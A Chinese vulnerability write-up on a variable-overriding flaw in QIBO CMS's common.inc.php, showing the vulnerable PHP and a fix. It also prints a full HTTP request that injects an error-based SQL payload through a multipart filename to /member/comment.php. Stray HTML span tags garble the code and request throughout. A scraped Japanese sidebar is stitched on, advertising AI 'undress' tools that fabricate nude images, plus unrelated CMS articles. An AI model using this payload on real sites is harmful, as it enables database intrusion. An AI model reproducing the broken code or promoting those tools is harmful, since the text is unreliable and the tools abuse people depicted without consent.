QIBO CMS /inc/common.inc.php Local Variables Overriding Vul
目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险 齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
2. 漏洞触发条件
0x1: 攻击入口
构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php
<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包 </span><span>2</span><span>. 在http request中构造一个attachment,如下: </span><span>/*</span><span> POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span> User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span> Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work </span> Accept-<span>Encoding: gzip,deflate,sdch Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span> Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1; passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork Content</span>-Type: multipart/form-<span>data; boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Length: <span>227</span> ------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span> Content</span>-Type: text/<span>plain </span><span>1111</span> ------WebKitFormBoundary6ukpBHoIrpHKtOkl-- */<span> 注意将原来的URL上的cidDB[]</span>=<span>x删除掉; 然后构造一个文件上传的报文(GET改为POST方法) 在filename处填入注入的payload </span><span>3</span><span>. 提交该数据包,即可注入成功 </span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Relevant Link:
http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
<span>/*</span><span> 全局变量文件对GPC变量的过滤 从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数 这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖 </span><span>*/</span><span> $_POST</span>=<span>Add_S($_POST); $_GET</span>=<span>Add_S($_GET); $_COOKIE</span>=<span>Add_S($_COOKIE); function Add_S($array) { </span><span>foreach</span>($array <span>as</span> $key=><span>$value) { </span><span>if</span>(!<span>is_array($value)) { $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value); <span>//</span><span>过滤一些不安全字符</span> $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value); <span>//</span><span>过滤不安全函数</span> !get_magic_quotes_gpc() && $value=<span>addslashes($value); $array[$key]</span>=<span>$value; } </span><span>else</span><span> { $array[$key]</span>=<span>Add_S($array[$key]); } } </span><span>return</span><span> $array; } </span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { @extract($_FILES,EXTR_SKIP); } </span><span>foreach</span>($_COOKIE AS $_key=><span>$_value) { unset($$_key); } </span><span>foreach</span>($_POST AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key]; } </span><span>foreach</span>($_GET AS $_key=><span>$_value) { </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key]; }</span>
5. 防御方法
\qibo\inc\common.inc.php
<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>)) { $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>); </span><span>foreach</span>($array AS $key=><span>$value) { is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value]; } }</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











PHP フレームワークと CMS の統合によってもたらされる利点は、1. 開発効率の向上、2. セキュリティの強化、3. コンテンツ管理の簡素化、4. 柔軟性です。実際のケースでは、Laravel フレームワークを WordPressCMS と統合して、カスタマイズされた機能を備えたブログ Web サイトを作成しました。統合手順には、Laravel アプリケーションの作成、WordPress のインストール、WordPress の構成、コントローラーの作成、ルーティングの定義、WordPress データの取得が含まれます。 Laravel ビューのデータ表示。

インターネットの普及と発展に伴い、金融 Web サイトの重要性がますます高まっています。金融ウェブサイトは、金融業界の事業開発、マーケティング、ブランド構築などにおいて決定的な役割を果たしています。現在、CMS システムの人気と成熟に伴い、Web サイト開発に CMS システムの使用を選択する企業が増えています。この記事では、金融 Web サイトの開発における PHPCMS システムの使用方法に焦点を当てます。 1. CMSシステムを理解する CMSシステムとはコンテンツマネジメントシステムの略称で、コンテンツを短期間で作成できるシステムのことです。

Java を使用して CMS システムのデータ同期モジュールを作成する方法 はじめに: 情報化時代の発展とインターネットの普及に伴い、コンテンツ管理システム (CMS) はあらゆる分野で広く使用されています。さまざまなユーザー グループ間でのコンテンツ管理には複数のデータ ソースの同期が必要であり、そのためには効率的で信頼性の高いデータ同期モジュールが必要です。この記事では、Java を使用して CMS システムのデータ同期モジュールを作成する方法を紹介し、関連するコード例を示します。 1. 概要 データの同期とは、複数のデータ ソース間でのデータの転送を指します。

Empire CMS ディレクトリの場所が明らかになります。特定のコード サンプルが必要です。Empire CMS (EmpireCMS) は、広く使用されているオープン ソース コンテンツ管理システムです。その柔軟性と機能の豊富さは、ユーザーに愛されています。 Web サイトの開発プロセスでは、Empire CMS のディレクトリ構造とファイルの場所を理解することが重要です。これは、開発者が Web サイトのコンテンツと機能をより適切に管理できるようにするためです。この記事では、Empire CMS のディレクトリの場所を明らかにし、読者がこのコンテンツ管理システムについてより深く理解できるように具体的なコード例を示します。 1.基本的なディレクトリ構造

Java を使用して CMS システムの画像透かし機能を実装する方法 要約: CMS システムに画像透かし機能を追加すると、画像の改ざんや盗難を効果的に防ぐことができます。この記事では、Java を使用して CMS システムの画像透かし機能を実装する方法とコード例を紹介します。はじめに インターネットの普及とデジタルカメラの普及に伴い、写真の盗難や改ざんが一般的な問題となっています。画像の著作権を保護するために、多くの CMS システムでは画像の透かし機能が追加されます。画像の透かし入れは、画像に特定の情報を追加する技術です。

PHPcms は、Web サイト開発で広く使用されている強力なコンテンツ管理システムです。列キャッシュは PHPcms の重要な機能であり、Web サイトのアクセス速度を向上させ、サーバーの負荷を軽減できます。この記事では、PHPcms 列キャッシュのストレージ パスを明らかにし、具体的なコード例を示します。 1. 列キャッシュとは何ですか? 列キャッシュとは、Web サイトの列コンテンツから静的ファイルを生成し、指定したパスに保存することを指します。ユーザーが列にアクセスすると、毎回動的にページを生成するのではなく、静的ファイルが直接読み込まれます。 。これ

PHPcms を他のシステムと統合するための実践的なヒント インターネット技術の継続的な発展に伴い、Web サイト開発の分野はより多様かつ複雑になってきました。実際のプロジェクトでは、異なるシステムを統合する必要がある状況に直面することが多く、これらの問題を解決するには一定のスキルと経験が必要です。この記事では、開発者が課題にうまく対処できるように、PHPcms システムと他のシステムを統合するための実践的なヒントと具体的なコード例を紹介します。 1. 統合の基本原則 システム統合を行う際には、まず以下のことが必要です。

PHPcms がメンテナンスを停止する場合の影響と対応. インターネット技術の継続的な発展に伴い、Web サイトの構築は多くの企業や個人にとって不可欠なツールとなっています。ウェブサイト構築においてはコンテンツ管理システム(CMS)が重要な役割を果たしており、よく使われるCMSツールとしてかつてはPHPcmsが非常に普及していました。しかし、時間の経過とともに、PHPcms バージョンの更新とメンテナンスは徐々に減少したり、メンテナンスが停止されたりするため、ユーザーや開発者に一連の影響が生じます。この記事では、PHPcms のメンテナンス外の影響を調査し、
